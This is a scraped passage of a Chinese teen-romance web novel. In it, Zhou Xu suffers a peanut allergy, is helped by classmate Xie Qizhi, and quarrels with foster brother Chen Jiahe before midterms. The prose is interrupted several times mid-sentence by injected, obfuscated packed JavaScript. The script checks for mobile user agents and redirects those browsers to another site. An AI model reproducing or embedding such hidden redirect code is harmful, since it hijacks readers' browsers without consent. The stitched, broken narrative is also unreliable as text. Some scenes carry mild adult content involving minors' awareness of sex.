l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812704|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方坐的这种前提下。 “我没减肥，我只是单纯……吃不太下，心里有事。”周序朝赵南晴弯了弯嘴角，她知道，此刻的自己一定笑得比哭还难看。 现阶段，还有什么比眼睁睁地看着男神被异性叫走帮忙要心里发堵呢？可她又不能怪谢祁之是个中央空调，在其位谋其政，他也只是做了他应该做的事情，正常换人而已啊。 “今天，谢谢你啊，后来我真的都站不住了。”周序把餐盘往赵南晴的那边移了一移，把自己最心爱的香煎银鳕鱼让了出来，“这是最后一块了，给你吃吧。” 她们来得有点晚，以至于虽然是花样丰富的自助，但实际上那些好吃又精致的菜品却不剩什么了。就这一块，还是周序从陈嘉禾手里抢下来的。 那个没用的家伙，连吃饭都抢不上热乎的，周序当时就心满意足地朝人挑了挑眉。 可很快，她就高兴不起来了。因为一转头，谢祁之的左右两边坐满了女同学，就连今天和他一起的那个朋友都只能坐到他的对面。 赵南晴给她们两个占的座更是绝佳。周序只要一抬眼，就刚好可以越过谢祁之朋友的背影，看到那被左右夹击的男生。 这样的情况下，她还怎么吃嘛…… “你真不吃了？”赵南晴受宠若惊地看了一眼周序，见对方神情恹恹好像是真没什么胃口的样子，这才心安理得地接受了周序的投喂，“那你尝尝这个，还蛮不错的，挺开胃的呢。” 到底是人家的一片好心，周序从小碗里夹了一筷子乳白色，绵软Q弹的冰酥酪：“不甜不腻，还凉冰冰的，确实挺好吃。” 散发着热乎气的饭菜周序是吃不下了，后半程，她几乎是看一眼谢祁之那边，就愤愤不平地往嘴里塞一口甜品。 没用几分钟，整个碗都见了底。 “周序！”直到，撑得直打嗝的赵南晴忽地一声尖叫，“你的脸！还有你的脖子！” “我的脸？还有脖子……怎么了？”周序不明所以，但还是很快打开了手机的前置摄像头。 只见屏幕上的自己，除了眼睛周围的那片皮肤，其余地方布满了小红点。简直是，要多丑有多丑，而就是这么一眼，更让周序开始浑身发痒。 “这冰酥烙里是不是有花生？”都怪她，光顾着一个人在那里吃醋怄气，连吃到嘴里的东西都没有仔细看清楚了。 “好像……是有吧。”赵南晴也不能确定，毕竟她一口都没吃，拿到手后很快就给了周序，“李老师！周序她花生过敏了！” 食堂里的学生全炸开了锅，陆陆续续跟着校外带队的李老师往她们这边聚过来。 周序她从小就对花生过敏，而且很严重，第一次被发现的时候没有几分钟人就晕了过去，最后还是家里的阿姨及时把她送进了医院。 从那以后，周序就再也没碰过花生。她甚至，早就忘记了花生是什么味道。吃不出来，又心不在焉地胡乱嚼着咽着，这才让她误食了自己的过敏源。 可现在说什么都晚了。甚至因为心理作用，周序在起红疹和发痒的症状上又进一步加重，她只觉得自己像一条搁浅在岸边的鱼，呼吸困难。 朦胧的视线里，她似乎只能看到一个高大的轮廓在她面前蹲了下来：“我带你去医院。” 8. 朱砂痣4 “快快快，快来几个男生！”不怪李茹茹方寸大乱，实在是周序的过敏反应太过严重了一点。 她还从来没有见过哪个人过敏，会在短短几分钟内就从红疹发展到呼吸不畅，甚至于意识都开始不清的。 “来，上来！”陈嘉禾攥住周序的手腕，反身在她面前蹲了下来。 “司机已经在路上了，马上就到。” 两个男生没给其余人多余的反应时间，陈嘉禾背着人，谢祁之则在旁边护着周序，以防她从陈嘉禾的背上滑下来。 “还好送来得及时。病人对花生过敏，怎么能让她吃那么多呢？”护士把流量调节器的滴速调慢，又叮嘱了几句就匆匆赶着去下一间病房查房了。 走廊里，陈嘉禾正打着电话，看到从病房出来的护士便和人点了一下头：“现在已经在医院里了。” “这次多亏你了。嘉禾，麻烦你在医院再多待会儿，我这边完事了就立刻过去。” 将周序的情况和周叔叔裴阿姨传达到位，陈嘉禾也算是完成了任务，他挂断电话，轻手轻脚地按下门把手，正要抬脚进去。 这时，安安静静的病房里响起了一道有气无力的声音：“谢祁之？” 周序悠悠醒转，看了看陌生的天花板，紧接着鼻腔里又被那种难闻刺鼻的消毒水味灌满，她这才松下口气：“是你把我送到医院里来的？” “嗯，还有你弟……” “还好发现得及时。”说着话，周序就要挣扎起身，“我这液还要输多久？” “你才刚输上，安心躺着吧。”周序的面色实在算不上好，这一路上谢祁之都提心吊胆的。尽管医生和护士都说没问题，也立刻安排了急救措施，可直到此刻亲眼看到人醒了，他才算是确定周序脱离了危险。 “你吃东西都不看清楚了吗？” 别说，谢祁之一脸严肃的样子，还真挺像回事儿的。自己居然能在这种时刻犯花痴，周序都不得不佩服自己：“光顾着看别人聊天，所以一下走了神。” 哼，还不是为了看某人以及他周围的那些女生嘛，要不然她能误吃自己早已确定的过敏源？ 但这些话，周序很识相地没有吐露出半个字。平心而论，她根本没有立场去别扭和乱吃飞醋啊。今天过敏的这个恶果，也完全是她自作自受。 “我，我身上有点发软。”周序把手绕到身后，摸索着去扯枕头，“想先躺躺。” 再花痴也是要有限度的，身体上的难受让周序难得没有再把更多的注意力放在别人身上。 “你别动，我来就好。”谢祁之把枕头给周序往上提了提，一双手虚揽着人缓缓躺下，“今天李老师都吓坏了，我一会儿手机上得跟她说一声。” 认真细心的男生有种难以形容的魅力，是比与生俱来的外貌还要吸引人的。周序紧紧闭着眼皮，可浑身上下的每一个细胞都好像被她调动起来来体会谢祁之无微不至的照顾。 医院这个地方，混杂着各种令人作呕的味道。可在谢祁之的身边，却只能闻到他身上清香的洗衣液味儿，也不知道是哪个牌子的，这么好闻…… 等之后有机会的话，一定侧面打听一下，哪怕搞个同款也是好的啊。 周序有一搭没一搭地瞎想着，等再睁眼时，窗外炙热的太阳已经被星星点点的灯光所取代。 “怎么样？这一觉，睡舒服了没？” 裴佑月坐在病床边上摩挲着周序的手背，见人醒过来才展露了笑颜。 “妈妈，你终于来了！你不知道，今天都吓死我了，谁能想到一个外表平平无奇的甜品，里面会加花生啊？”周序一头撞进裴佑月的怀里，委屈顿时涌上心头，就连说话都带了哭腔。 “啧，你这孩子，倒是注意着点啊，别把鼻涕眼泪全抹我衣服上。”说归说，可裴佑月不仅没把周序推开，反而还替自己女儿拍起了后背，“吃一堑长一智，以后在外面吃饭还敢不敢再粗枝大叶了？” “不敢了。不过今天也是事出有因嘛，我是……走神了。”再次提起这次意外的源头，周序这才发现之前陪着自己的人已经不知什么时候离开了，说不清心头忽然翻涌上来的是什么，总之是有点空落落的，“谢祁之呢？” “这个谢什么之，是谁？” 接到陈嘉禾的电话时，公司高层全在开会，裴佑月挂了电话就和周思邈匆匆暂停了会议往医院赶来。只是他们夫妻二人不愿打搅周序休息，公司又有好多事要处理，周思邈后来才走了的。 他们来的时候，只在病房外面见到了陈嘉禾一个人。并没看到有第二个人在场。 而且，这名字听上去，似乎是个男生？ 到底是从青春期过来的，谁还没有一段少女怀春的心事呢。周序的心思简直都写在了脸上，压根瞒不过裴佑月这个当妈的：“怎么？这个姓谢的小男生，一直在医院陪你？” “哎呀，你怎么这么八卦！是人家把我送来医院的。”周序别开目光，手指局促地抓了抓自己身上的病服，声音越来越低，“而且，而且他还是我们家对门的邻居呢。” “既然这样，今晚回了家，爸妈再上门专程去感谢一下他。”裴佑月没太当回事，起身把被子一角掀开，“把病号服换下来，你于叔马上就来。” —— “你回来了？”门一开，黑暗中在客厅里坐着的少年立马站起了身。 陈嘉禾手里一直捧着个玻璃杯，只有这样，他才能始终感知到水温。一杯凉了就自己喝掉再洗干净重新泡，这已经是他泡的第三杯了。 还好周序在他快要喝吐前回了家：“喝点蜂蜜水，补充一下能量吧。” “家里怎么黑漆漆的，嘉禾你也不说开灯。”裴佑月趁着换鞋的空档，顺手按下了开关。 只是她也没想到，就这么一个转身的功夫，两个孩子差点又吵起来。 “嘁。早干嘛来着？” 哦不，准确的说，是她家女儿单方面的无理取闹。裴佑月看不下去，在周序的小臂上狠狠掐了一把：“怎么说话的？嘉禾那是关心你！” 手臂吃痛，让周序本就苍白的面色更加难看。她也没了质问人的心思，只面无表情地撞开陈嘉禾，小声嘟囔了一句什么。 裴佑月听不到，可是对于和她有着肢体接触的陈嘉禾来说，那三个字却是清清楚楚。 她在说他，假惺惺。 “姐姐，你昏迷了。” 陈嘉禾叫住了周序，任由温热发黏的蜂蜜水从晃荡的玻璃杯中溅出，烫在手上：“所以你又怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812705|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道，我没去医院。” 他的语气平铺直叙，一个本该是疑问的句式被他的这种口吻渲染成了陈述句。又偏偏因为这样，导致他的这话里多了一份笃定，还有一丝不易察觉的怨念？ “序序，是嘉禾给我们打电话的，不然你爸和我都不知道你过敏住院了。”要是知道一个这样的信息差会让两个孩子闹别扭，裴佑月早在周序睡醒的第一秒就说了，“你说说你，都多大年纪了，还跟小孩子一样。” “先吃饭。等你爸回了家，咱们一家人再去谢家登门拜访。”裴佑月趿拉着拖鞋，路过周序身边时还特意语重心长地嘱咐了句，“你和嘉禾好好说说，别让人家寒了心。” 妈妈误会自己了。 她不是……不是那种不识好歹的人，她只是以为陈嘉禾在她出事的时候全程袖手旁观，刚才又要在她妈面前刻意表现出一副关心担忧的样子。 “我，我刚刚说话没打草稿……” 陈嘉禾没让周序把话说完，下一秒，那只温热的玻璃杯便被强行塞到了周序的手里：“趁热喝。” 或许是那杯蜂蜜水起了作用，折腾了一天的周序很快恢复了体力，晚饭吃得比平常还津津有味：“妈妈，你这个卤猪蹄好入味啊，家里还有多的吗？” “有啊，你想吃多少就吃多少！”裴佑月禁不住夸，当下又把一只猪蹄放到了周序的碗里。 “刚从医院回来，我劝你们两个最好还是悠着点！” 周思邈在家里一贯这样，裴佑月喜欢夸赞周序，他就在旁边拆母女两人的台。不过这又怎么不算是另外一种家庭氛围和谐的表现呢？ 陈嘉禾收回视线，低头吃着自己碗里的饭菜。 直到周序把家里剩下的猪蹄全部搜刮出来放在一起，家里人才后知后觉地明白过来，原来不是周序自己要吃，而是她给别人准备的。 “要我说，你这简直多此一举。爸妈又不是没准备谢礼，你这上来就是一袋子自家做的猪蹄，万一人家不喜欢呢？” “我老妈这是，对自己的厨艺不自信？” 得，就这一句话，裴佑月再没有理由反对。 一家三口按响了谢祁之家的门铃。 “有人在家吗？”足足等了三四分钟，都不见里面有一点反应，周序转头看了看爸妈，心情肉眼可见地低落下去，“他是不是还没回来？” “已经九点了，家里不可能一个人都没有，或许是在忙没听见。”周思邈这样在生意场上心浮气躁的人，今天难得有了沉稳的判断，“耐心点。” 不知道等了多久，就在周序都要恶意揣测是不是谢祁之压根就不想见她的时候，面前的门吱呀一声被从里面拉开了。 谢祁之应该是刚洗过澡，头发湿漉漉的，T恤领口也被洇湿一圈，都不用仔细去看，只随意一眼就能隐隐约约能看出他紧致的胸肌。 周序很没出息地咽了咽口水。 “周同学？”额前的发梢不断地往下滴水，谢祁之嫌视线被阻，于是伸手随意一撸，露出光洁白皙的额头，“叔叔阿姨好。” 他也许不知道，这种美男出浴的动作意味着什么，周序眼睛都看直了。 偏偏谢祁之还十分上道，他微笑着侧身，把路让了出来：“请进。” 9. 白月光5 “叔叔阿姨，坐。”谢祁之将周序三人领进了屋，径直穿过玄关和客厅，最终在餐桌前停了下来，“那个，我家客厅沙发送去修了，现在客厅坐不了人，就只能先委屈你们坐这边了。” “不委屈，不委屈，谢同学快别忙了。”裴佑月已经眼疾手快地去拦了，可谢祁之还是从冰箱里给他们拿出了两瓶果汁。 夫妻二人对视一眼，都在对方的眼里读懂了些什么。 家里的装潢差不多能看出一户人家的经济实力。即便客厅的很多家具都不翼而飞了，可单冲谢祁之家的地砖和壁纸，就能看出来他们家在桦城，少说也是中产阶级。 可至于为什么家里连些像样的家具都没有了，背后的原因八成不是什么能和人拿出来分享的事情。 周思邈和裴佑月很识趣地没有打听谢家的家事。 “叔叔阿姨，你们先坐。”谢祁之打了声招呼后就回了卧室，“我给周序再找个椅子过来。” “哎！不是……”裴佑月有点懵，觉得自己实在是跟不上这孩子的脑回路，“这不全是椅子吗？” 没有多久，谢祁之就推出来一个很是专业的电竞椅：“周同学，你坐这个。这个有坐垫有靠背，你坐它，能舒服一点。” 讲真，起初周序是有些不满的，为什么进门的是三个人，可谢祁之眼里只能看到她爸妈。要不是他长得那么好看，今天又帮了她这么大一个忙，刚刚周序都想直接扭脸走人了。 幸好她压住了大小姐脾气。 原来刚刚才的冷落，是为了此刻明目张胆的偏爱。 想到爸妈在旁边大眼瞪小眼地看着他们，周序一下子都快要热熟了，怎么说呢，好像有种地下恋情被抓包的含羞和尴尬啊：“你不用这么……” “你喝热水可以吗？我家只有冷藏的矿泉水和饮料，我怕不利于你恢复。”谢祁之说着，已经自顾自地走到一旁鼓捣起了热水壶。 周序这会儿已经要幸福得晕过去了。即便有种可能，这只是谢祁之在照顾病号，可她不管。糖这种东西，是要学会自己给自己抠的。 不同于沉沦在粉红泡泡里的自家女儿，周思邈显然就想得很多，他大概能猜出来谢祁之这么忙前忙后地是在掩盖什么。 “谢同学，今天我们来呢，是想感谢你照顾我家序序。这些谢礼都不贵，也是尽量挑了一点可能比较实用的东西。你看看，要是有合心意的就留下。” 看着被他们放在餐桌上的这些礼盒，周思邈眼前一黑。这些华而不实的高级化妆品啊，烟酒茶叶什么的，价格档次是有了，可居然没有一个物件是适合现在还在读高中的学生的。 意识到自己的疏忽，周思邈恨不得当场找个地缝钻进去，老脸都变得越来越红。 “叔叔阿姨，真不用。”谢祁之连头也没回，一直忙着倒水和洗水果，倒是缓解了他们一家人送礼没送对的尴尬，“我和周序是同学又是邻居，今天她遇到这种事，换谁来都不可能不管。” “而且，出力最多的不是我。”谢祁之先是把果盘送到了餐桌上，然后这才把水杯给周序端了过去，“小心烫。” “对了，陈嘉禾没和你们一起来吗？” “哦，他啊，他性格孤……呸！”想到今天冤枉陈嘉禾的事情，周序把下意识对一个人的贬低都咽了回去，“那个，我是说，他习惯晚上一个人自己呆在家里，怎么叫都不出门。害，学霸嘛，你懂的，总有些奇奇怪怪的坚持。” “我还不知道……”谢祁之挠挠鼻子，为了不让气氛冷掉，违心笑了笑，“他学习有那么好。” 尽管他应该不算普信男，但在成绩这事上，他还真有着远超一般人的自信，毕竟也是次次都考年级第一的人。这位小狮子同学，转来新学校这么久了，都不打听清楚吗？ 谢祁之心里的那些想法，周序毫不知情。就连爸妈从谢家出来后的时不时叹气，她都看不明白。 “怎么了？你们没事叹什么气啊？”周序心情很好，一点都没受他人影响，回家以后就栽倒在沙发上，两只小脚翘在茶几上不住地晃着。 “序序啊，以后妈妈要是做了些什么好吃的，就辛苦你去给谢同学送点。反正也就几步地的事情，你不要一吃完饭就坐下，溜达一圈就当消消食好吧？” 还有这好事？正愁没有合适又自然的借口去靠近谢祁之呢，没想到啊，这才一瞌睡就有人递枕头！而且递枕头的还是自己的亲妈！ 周序心里简直乐开了花，可矜持如她只是清了清嗓子，故意装出一副犹豫不决的样子：“那我就勉为其难答应吧。” 这一整天还真是热闹，医院住了，谢家去了，晚上周序洗漱过后躺在床上也彻底没了学习的心思。 轮番点进去每一个可以尽情娱乐的软件，手机都快刷爆了，可还是没能把谢祁之今天和自己相处的细节从脑海当中赶出去。 “哎呀！”周序用床头超大的棉花娃娃捂着脑袋，无力地在床上翻了个身，“晚上还怎么睡啊！” 她这是幸福的烦恼，本身心率就有点难以回归到正常水平，架不住她还脑补了好多当时她晕过去以后谢祁之公主抱的动作和神态。 这一脑补，就更要命了，相当于在深夜最困的时候仰头就猛灌了一瓶红牛。效果很好，困意全无，甚至异常清醒。 陈嘉禾或许听到了她这些无病呻吟的嚎叫，没多久就敲响了卧室的房门：“姐姐，我可以进来吗？” “进呗，门没锁。”周序又翻了个身，用两个胳膊肘杵在床上，头也不抬地刷着某部时下大热的少女漫，嘴角压都压不住。 陈嘉禾拿着一摞练习册进来的时候，看到的就是周序毫无形象地趴在床上，因为睡裙宽松的缘故，领口之下的一片春光就那样横冲直撞地闯进了他的视线当中。 说来也是有点难以置信，她明明才上高一啊，怎么就…… 陈嘉禾哪里还敢再看，立马背过了身去：“我，我……” “我什么我？怎么，你也过敏，舌头都麻了？”以前没发现啊，陈嘉禾好像不是个大舌头吧？又或者说，他不会在模仿嘲笑她吧？ “你给我好好说话，不许学我！”纤细的五根指头骤然扯上陈嘉禾的衣袖，强硬地把他拽得换了个方向。 “我没有学你。”陈嘉禾舔了舔发干的唇瓣，好声好气地把练习册往前递了一递，“我们不是说好了，每天晚上要过来给你讲题吗？” “哦，我今天不想学了，明天再说吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812706|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”看来是她误会了，可被娇宠长大的小公主是学不会主动低头的，周序说起话来依然硬邦邦得可怕，“练习册留下，你人可以走了。” 周序的家庭足以提供她未来任何一种，哪怕只是脑子一热做出的选择，她本就没有必要像他一样拼了命地学习刷题。陈嘉禾点了点头，听话地把练习册给人放到了书桌上。 今天，他怎么这么好说话？周序打量了一下少年沉默离开的背影，心里直犯嘀咕。 可是仔细想想，自从陈嘉禾住到她家以来，无论是她故意找茬针对，还是毫无道理的发脾气，他又有哪一次是和她真的起了冲突的？ 从某种角度上来说，陈嘉禾做得已经很不错了。 “喂！你能考得过谢祁之吗？” 听到这样没头没脑的问题，陈嘉禾的脚步不禁迟疑地停了下来。他把心头的诧异压了一压，又平稳了一下呼吸，这才转过身去看向周序。 周序的眼里闪过一抹狡黠的神色，她好像很希望他给出一个肯定的答复。可，她不是喜欢谢祁之吗？人天性就是慕强的，没有人不希望自己喜欢的人是一个强者的形象吧…… 他到底应该怎么答，才是周序想听的。 “我不清楚。从转学到现在，还没考过试。” “啧，怎么这么麻烦呢。”周序有点不耐烦了，她找出之前托朋友找到的成绩表发给了陈嘉禾，“我不管，成绩排名发你了，你看看谢祁之多少分。你就给句准话，这次期中考试，到底能不能超过他？” 周序的表情一点都不像是在拿他开玩笑，陈嘉禾还真是有点摸不透这位小公主的心思。 但不得不承认，在九门全科930分的基础上，历史又是个大瘸腿科目，谢祁之的确是一个强有力的竞争对手：“我尽量，他的分其实……” “你别尽量啊，你能被我爸爸选中靠的不就是学习成绩这个硬实力吗？陈嘉禾，拿出你的战斗力来，不然考不过他，那不是啪啪打我的脸嘛！”周序现在已经有点后悔今天的言行了，她也是后来才反应过来，自己在谢祁之这个学霸面前大放什么厥词。 “学霸？能不能行，你倒是吱一声啊！” 陈嘉禾还没来得及搞清楚，为什么自己考不过谢祁之就是打她的脸了，但紧接着，周序一个“学霸”就立马哄得他分不清东南西北。 的确，出身贫寒，家庭毫无背景，从小到大，陈嘉禾也就学习这一个拿得出手的东西。周围很多人都这么叫过他，无论是师长还是同龄人，但却从来没有哪一刻是像现在这样，仅仅只是这两个字就让他晕头转向，头重脚轻得好像飞到了云端。 “我能问句为什么吗？为什么一定要我考第一？” “在谢祁之面前，话赶话，就把我……和你架到那儿了。”况且，想要拿下谢祁之这朵高岭之花，光靠着死缠烂打是没有用的，如果没有一个能让他心服口服，凭实力碾压一切的对手，他又怎么可能和她产生进一步的交集呢？ 恨就恨，她对学习可真是一窍不通，现在想要弯道超车，简直是白日做梦。 也是没有办法的办法了，先靠着陈嘉禾和人拉进关系再说：“陈嘉禾，好不好嘛！这件事对你也是只有好处，没有坏处的啊！” 10. 朱砂痣5 周序拉起了陈嘉禾垂在身侧的手，左右摇晃起来：“对于你这种量级的学霸来说，考个年级第一，还不是轻轻松松的吗？” 又是软着嗓子撒娇，又是戴高帽的，她还真以为是个人就吃她这套吗？这个世界上，除了周叔叔和裴阿姨，还有谁会这么惯着她…… “这次期中考试，我会证明给你看。” 陈嘉禾是想给自己留条后路的，可不知怎么，一开口就变成了这样。 —— “老婆，你有没有觉得，序序最近学习特别努力？” “何止啊。我看这两个孩子的关系也亲近了不少。”裴佑月在梳妆台前精心点涂着眼霜，“也就你，成天忙着公司里的事情，家里无论大事小事一概不管，就跟个甩手掌柜一样。” 期中考试的前一晚，又是照旧的夫妻夜话时间。只是不同于以往，周序最近连日来的挑灯夜战，让周思邈和裴佑月竟然对这个在学习上资质普通的女儿生出了许多期待。 “诶！你说，序序这要是学习开了窍，等她高中毕业了，我们还要送她去出国留学吗？” 听到这话，周思邈只是撇了撇嘴：“我就顺道那么一说，八字没一撇的事情，你看你，幻想这么多有的没的。与其念叨这些不着边际的事情，我们还不如做点眼下就能做的？” “你胡闹什么！家里孩子们都还在呢。”裴佑月没好气地在周思邈的腿上掐了一把，手劲约等于无。 高中时期的学生最忙了，每天早出晚归的，比起管理一个公司也差不到哪儿去了。自从周序升入高中以来，周思邈和裴佑月就几乎没再出去开过房，时间挤挤，总是可以见缝插针干上那么一场。 只是今天，气氛都铺垫到这里了。裴佑月是既不想扫兴，又害怕影响了周序和陈嘉禾两个人。 看出了老婆的为难，周思邈直接拱火：“没事，我们小点声就成。再说，就序序那鬼灵精，估计早知道了。都是人之常情，有什么好大惊小怪的。” 一张被子拉过头顶，再大的动静被隔上这么一层，也掀不起什么风浪来了。 这是周思邈和裴佑月最初的打算，就是后来事态有点失控，想停也停不下来了。两个人索性就做了脱缰的野马，肆无忌惮。 一墙之隔的卧室，陈嘉禾偷偷打量着周序的表情，明明做坏事的人不是他，可就像是自己被抓包一样尴尬。 “姐姐，我，我最近发现一首新歌还挺好听的，你要试试吗？”陈嘉禾麻利地将两只耳机放在掌心里朝周序递了过去。 “什么歌？”刚好题也做够了，周序巴不得立马就放松下来，听到陈嘉禾的建议，也是头一次这么爽快，“给我一只就行。” “不……不行。不是，我的意思是，我是说两只耳朵一起听，音效会好一点。” “陈嘉禾！我最近给你好脸是不是给多了？”周序才不会承认，她是特意留出来一只耳朵好去偷听隔壁动静的，“你居然还敢对我说不行？拿过来！别磨磨唧唧的！” “……好。”胳膊拗不过大腿，陈嘉禾只好收回了其中一只。 白色的耳机还沾染着人的体温，以至于刚入耳的时候，周序下意识地往外拿了拿。她一下倒是忘了，耳机这么私人性的物品，怎么能共享呢。 “你等一下，我去拿我耳机连上。”周序一侧身子，就要把耳蜗里的耳机摘下来。 陈嘉禾比她反应更快，周序还没来得及起身，一只修长白皙的手就按在了她的肩膀上：“这是新的，我还一次都没用过。” 趁着她愣神的功夫，陈嘉禾又自说自话地把另外一只耳机也给周序戴好：“姐姐，你就听我一次吧，这样音效真的会好很多。” 音效好不好的，周序并没有那么关心。她只知道，凑热闹是暂时和自己无缘了：“到底是什么歌？”值得这么固执地分享？ 陈嘉禾抿唇微笑，也不说话，直接点开了手机屏幕上的播放键。 在周序多年的认知和审美里，好听的歌不是旋律优美，就是歌词动人，又或者是歌手的音色很有辨识度。 运气好的时候，也偶然遇到过几首哪哪都满意的。不过周序对陈嘉禾说的好听，并没抱多大希望。 “嘶！这就是你说的好听？”周序皱了皱眉，挪开左耳里的耳机，“看不出来你平时不哼不哈的，审美还挺狂野？我欣赏不来，你自己听吧！” 陈嘉禾眼皮一跳，顺着周序把耳机塞到他掌心里的动作一瞥，这才看到屏幕上的歌曲信息。 原来是新歌榜上排名第一的摇滚热曲。他平时不常听歌，也只有在爸妈离世的那段时间里靠着听这些鼓点密集，歌词切换频率极高的歌曲才能分散自己的注意力。 软件还是不够智能，就因为那一段时间的高频，就把这类曲风当成了他的偏好。 “我，我再给你去找其他的，这是个意外……” “我不想听了！你要是还有什么知识点要给我总结的话就留下，没事就走，别瞎影响我。”周序指尖转着笔，有一搭没一搭地做着眼前的完形填空。 在陈嘉禾这样的旁人视角里来看，周序是在认真做题，可只有她自己知道，现在的她完全是身在曹营心在汉。 单纯吃瓜是假的，周序其实还有点不满。她到底是摊上了一对怎样的父母，在孩子还在家的时候就已经急不可耐了起来。更别提，家里还有陈嘉禾这么一个外人。 但愿这小山沟里出来的人没见过世面，不知道那些声音意味着什么吧。周序托着腮，因为脑内的胡思乱想，眼前的文字都糊成了一片。 话都说到了这份上，除非是脸皮厚到子弹都打不穿的，正常人都会知道见好就收。陈嘉禾碰了壁，当然也第一时间选择起身离开。 周序松下的这口气还没缓缓吐出来，下一秒，就被语出惊人的陈嘉禾给吓得咳成一个大红脸。 “姐姐是听不到叔叔阿姨的动静吗？” “咳咳……你，你说什么？” 周序咳得泪花都涌了出来，她用手背抹了好半天才算是看清了陈嘉禾的面部表情。嗯，很淡定很沉稳，谈起这类大多数人都会不好意思的私密性话题，就像普通拉家常一样。 “陈嘉禾，不该你问的别问那么多！麻烦你搞清楚一下，这里是我家！”周序气急败坏地扑到床边，抓起手边的抱枕就往门口砸了过去。 松软的抱枕被陈嘉禾轻松截获，他只是很好脾气地走过来，当着周序的面将它放回了原位：“我是怕你尴尬。既然姐姐习以为常的话，那……是我多事了。” “谁！谁说我习以为常了？你再胡说八道，我真撕烂你的嘴了啊！” 回应她的只有卧室房门被关上的声音。这个挑事的罪魁祸首，溜得倒是快！ 周序抓起一本练习册给自己狂扇风，好家伙，真的让她忍不住直呼好家伙！ 听爸妈的私房悄悄话都能面不改色心不跳的自己，居然能被这样一个没什么见识的家伙气得脸红脖子粗？ 周序打开手机，给对面发过去一段语音：“陈嘉禾！我告诉你，你冒犯了我！如果这回期中考试你考不了第一的话，就别怪我使一些暴力手段了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而且是专门往她肺管子上插啊！ 被摆了一道的周序甚至严重怀疑自己今天已经无法正常发挥了，要不是她也想检验一下这段时间的学习成果，还真挺想撂挑子不干。 “于叔，开车吧！”平复了好久，周序才算把心里头的那股火气给压了下去。 “小姐！” “我说开车！” 周序一拳头锤在后座的真皮椅上，火还没有发完，余光里立马被一张帅气的脸蛋给填满了：“谢……谢祁之，怎么是你啊？” 周序差点把舌头都给咬掉。她怎么……这么寸啊！ 长期以来维持的淑女形象，就这么破碎了？而且她什么时候闹脾气不好啊，偏偏就赶上谢祁之好不容易主动的这么一回！ 周序简直欲哭无泪，这一度让她本就被火气霸占的小脸上呈现出了愈发精彩纷呈的表情。 谢祁之看在眼里，忍了又忍才没笑出声来：“周同学，我车子坏了，方便搭一下你家的车吗？” 搭车？这可是他谢祁之主动找上来的！ 周序立马往里挪了一挪，给人打开车门：“你快进来吧。今天期中考试，可千万不能迟到！” “谢谢。”被周序坐过的地方似乎还残留着她身上的体温，谢祁之不耐热，只好坐了一少半，“今天怎么没看到陈嘉禾？你们不一起去吗？” “为什么你叫他的全名，叫我就是周同学周同学的？”真不能怪周序多想，谢祁之要再这样，她都快怀疑他的性取向了。 “我爸妈以前只有在我犯错的时候才会叫我大名，所以我潜意识里一直觉得叫人大名不仅生疏，还挺凶的。抱歉啊……我其实不知道该怎么称呼你。” 11. 白月光6 哦！天哪！他这幅样子就像做错事可怜巴巴往地上一蹲的奶盖，太惹人怜爱了吧！果然，狗狗和像极了狗狗的帅哥就是世界上最可爱的两个物种！ “我不介意，就叫我大名就好。” 晨光透过窗户缝隙洒了进来，一条金色蜿蜒的飘带就浅浅铺在谢祁之的黑发上，刚好中和了他不说话时身上那冷硬凌厉的气质。 周序看得移不开眼睛，甚至还很没出息地咽了下口水。如果从家里到学校的这条路足够长就好了，又或者，就在下一个路口来一场酣畅淋漓的堵车？ 啧，不对，这种阴暗的想法怎么可以有呢。考试这么重要的事情，就算她这样成绩中等的学生不在意，可谢祁之是一定在意的。 不然他这样一直和所有异性都保持微妙距离的人，又怎么可能主动和她说想搭便车这种话呢。 周序扯了扯校服袖口，硬生生把这想法从大脑当中挤了出去。 “复习得怎么样？”谢祁之见她好半天没有说话，还特意伸出指头来打了个响指，“看你一直在发呆，是身体不舒服？” 认识了小半个学期，这还是谢祁之第一次这么关心她。说是受宠若惊就有点夸张了，可心率加快确实是无法忽视的事实。 周序咬着唇摇了摇头，一发声，嗓子都是紧绷的：“没，就，就有点紧张。” “学生时代考试不是很正常吗？一次期中考而已，别想太多。”谢祁之笑了笑，那本就存在感极强的梨涡因此变得更加显眼。 有某一刻，梨涡不像是梨涡，倒像是宇宙中神秘莫测的黑洞，稍不留神就会把整个人都吸进去。 周序没注意到，他们说这几句话的功夫，车子就已经停在了校门口。 “谢谢于叔。”谢祁之没有片刻的停顿，他甚至一早就把书包的肩带背好，车子刚一停稳，他就已经打开了车门，“周序，你从我这边下吧，你那边车来车往的危险。” 周序……他还真是听劝。自己话赶话的那么一提，他居然就记住了。 周序哦了一声，着急忙慌地带好自己的东西下了车，不知道是不是错觉，她总觉得谢祁之一直在看她，好像要说什么话一样。 